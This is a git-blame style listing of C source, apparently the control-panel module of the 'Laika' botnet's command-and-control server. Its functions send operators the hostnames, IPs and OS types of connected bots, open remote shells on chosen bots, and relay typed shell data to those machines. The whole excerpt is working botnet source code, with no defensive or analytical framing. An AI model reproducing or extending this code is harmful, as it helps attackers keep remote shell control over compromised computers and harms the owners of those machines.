2022-06-27 23:57:00 +00:00
|
|
|
#include "cpanel.h"
|
2022-05-08 01:09:42 +00:00
|
|
|
|
2022-02-13 00:21:59 +00:00
|
|
|
#include "cnc.h"
|
2022-09-02 01:00:37 +00:00
|
|
|
#include "core/lerror.h"
|
|
|
|
#include "core/lmem.h"
|
2022-05-08 01:09:42 +00:00
|
|
|
#include "cpeer.h"
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-08-04 01:50:55 +00:00
|
|
|
void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
|
2022-06-27 23:57:00 +00:00
|
|
|
{
|
2022-08-04 01:50:55 +00:00
|
|
|
struct sLaika_peer *peer;
|
|
|
|
size_t i = 0;
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-08-04 01:50:55 +00:00
|
|
|
/* send authPeer details on each peer that *isn't* itself */
|
|
|
|
while (laikaC_iterPeersNext(cnc, &i, &peer)) {
|
|
|
|
if (peer != authPeer) {
|
|
|
|
LAIKA_DEBUG("sending peer info %p to auth %p)\n", peer, authPeer);
|
|
|
|
laikaC_sendNewPeer(authPeer, peer);
|
|
|
|
}
|
2022-02-14 05:55:30 +00:00
|
|
|
}
|
2022-06-30 01:31:22 +00:00
|
|
|
}
|
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
|
|
|
|
{
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-02-15 22:57:21 +00:00
|
|
|
/* write the peer's info */
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub));
|
|
|
|
laikaS_write(&authPeer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
|
2022-03-05 02:17:03 +00:00
|
|
|
laikaS_write(&authPeer->sock, peer->inet, LAIKA_INET_LEN);
|
2022-06-04 15:11:28 +00:00
|
|
|
laikaS_write(&authPeer->sock, peer->ipStr, LAIKA_IPSTR_LEN);
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaS_writeByte(&authPeer->sock, peer->type);
|
2022-03-18 04:05:18 +00:00
|
|
|
laikaS_writeByte(&authPeer->sock, peer->osType);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaS_endOutPacket(authPeer);
|
2022-02-13 00:21:59 +00:00
|
|
|
}
|
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
|
|
|
|
{
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-02-15 22:57:21 +00:00
|
|
|
/* write the peer's pubkey */
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub));
|
|
|
|
laikaS_writeByte(&authPeer->sock, peer->type);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaS_endOutPacket(authPeer);
|
2022-02-13 00:21:59 +00:00
|
|
|
}
|
|
|
|
|
2022-06-27 23:20:23 +00:00
|
|
|
/* ================================[[ [Auth] Packet Handlers ]]================================= */
|
2022-02-28 22:27:55 +00:00
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
|
|
|
|
void *uData)
|
|
|
|
{
|
2022-02-28 22:27:55 +00:00
|
|
|
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
|
2022-06-27 23:57:00 +00:00
|
|
|
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
|
2022-05-20 19:10:53 +00:00
|
|
|
struct sLaika_cnc *cnc = pInfo->cnc;
|
2022-02-28 22:27:55 +00:00
|
|
|
struct sLaika_peer *peer;
|
2022-03-07 21:16:46 +00:00
|
|
|
uint16_t cols, rows;
|
2022-02-28 22:27:55 +00:00
|
|
|
|
|
|
|
/* read pubkey & find peer */
|
|
|
|
laikaS_read(&authPeer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
|
|
|
|
if ((peer = laikaC_getPeerByPub(cnc, pubKey)) == NULL)
|
|
|
|
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer doesn't exist!\n");
|
|
|
|
|
2022-02-28 22:39:02 +00:00
|
|
|
if (peer->type != PEER_BOT)
|
|
|
|
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer isn't a bot!\n");
|
|
|
|
|
2022-03-07 21:16:46 +00:00
|
|
|
/* read term size */
|
|
|
|
laikaS_readInt(&authPeer->sock, &cols, sizeof(uint16_t));
|
|
|
|
laikaS_readInt(&authPeer->sock, &rows, sizeof(uint16_t));
|
|
|
|
|
2022-05-20 19:10:53 +00:00
|
|
|
/* open shell */
|
|
|
|
laikaC_openShell(peer, authPeer, cols, rows);
|
2022-02-28 22:27:55 +00:00
|
|
|
}
|
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
|
|
|
|
void *uData)
|
|
|
|
{
|
|
|
|
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
|
2022-05-20 19:10:53 +00:00
|
|
|
struct sLaika_cnc *cnc = pInfo->cnc;
|
|
|
|
struct sLaika_shellInfo *shell;
|
|
|
|
uint32_t id;
|
2022-03-02 16:38:16 +00:00
|
|
|
|
2022-05-20 19:10:53 +00:00
|
|
|
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));
|
|
|
|
|
|
|
|
/* ignore malformed packet */
|
2022-06-13 17:11:08 +00:00
|
|
|
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
2022-03-02 16:38:16 +00:00
|
|
|
return;
|
|
|
|
|
2022-05-20 19:10:53 +00:00
|
|
|
laikaC_closeShell(shell);
|
2022-03-02 16:38:16 +00:00
|
|
|
}
|
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
|
|
|
|
void *uData)
|
|
|
|
{
|
2022-02-28 22:39:02 +00:00
|
|
|
uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH];
|
2022-06-27 23:57:00 +00:00
|
|
|
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
|
2022-05-20 19:10:53 +00:00
|
|
|
struct sLaika_cnc *cnc = pInfo->cnc;
|
2022-02-28 22:39:02 +00:00
|
|
|
struct sLaika_peer *peer;
|
2022-05-20 19:10:53 +00:00
|
|
|
struct sLaika_shellInfo *shell;
|
|
|
|
uint32_t id;
|
|
|
|
|
2022-06-30 15:00:11 +00:00
|
|
|
if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH)
|
2022-05-20 19:10:53 +00:00
|
|
|
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n");
|
2022-02-28 22:39:02 +00:00
|
|
|
|
2022-05-20 19:10:53 +00:00
|
|
|
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));
|
|
|
|
sz -= sizeof(uint32_t);
|
|
|
|
|
|
|
|
/* ignore malformed packet */
|
2022-06-13 17:11:08 +00:00
|
|
|
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
2022-05-20 19:10:53 +00:00
|
|
|
return;
|
2022-02-28 22:39:02 +00:00
|
|
|
|
2022-05-20 19:10:53 +00:00
|
|
|
peer = shell->bot;
|
2022-02-28 22:39:02 +00:00
|
|
|
|
|
|
|
/* read data */
|
|
|
|
laikaS_read(&authPeer->sock, data, sz);
|
2022-02-28 22:27:55 +00:00
|
|
|
|
2022-06-04 01:55:14 +00:00
|
|
|
/* forward to peer */
|
|
|
|
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
|
|
|
laikaS_writeInt(&peer->sock, &shell->botShellID, sizeof(uint32_t));
|
|
|
|
laikaS_write(&peer->sock, data, sz);
|
|
|
|
laikaS_endVarPacket(peer);
|
2022-05-08 01:09:42 +00:00
|
|
|
}
|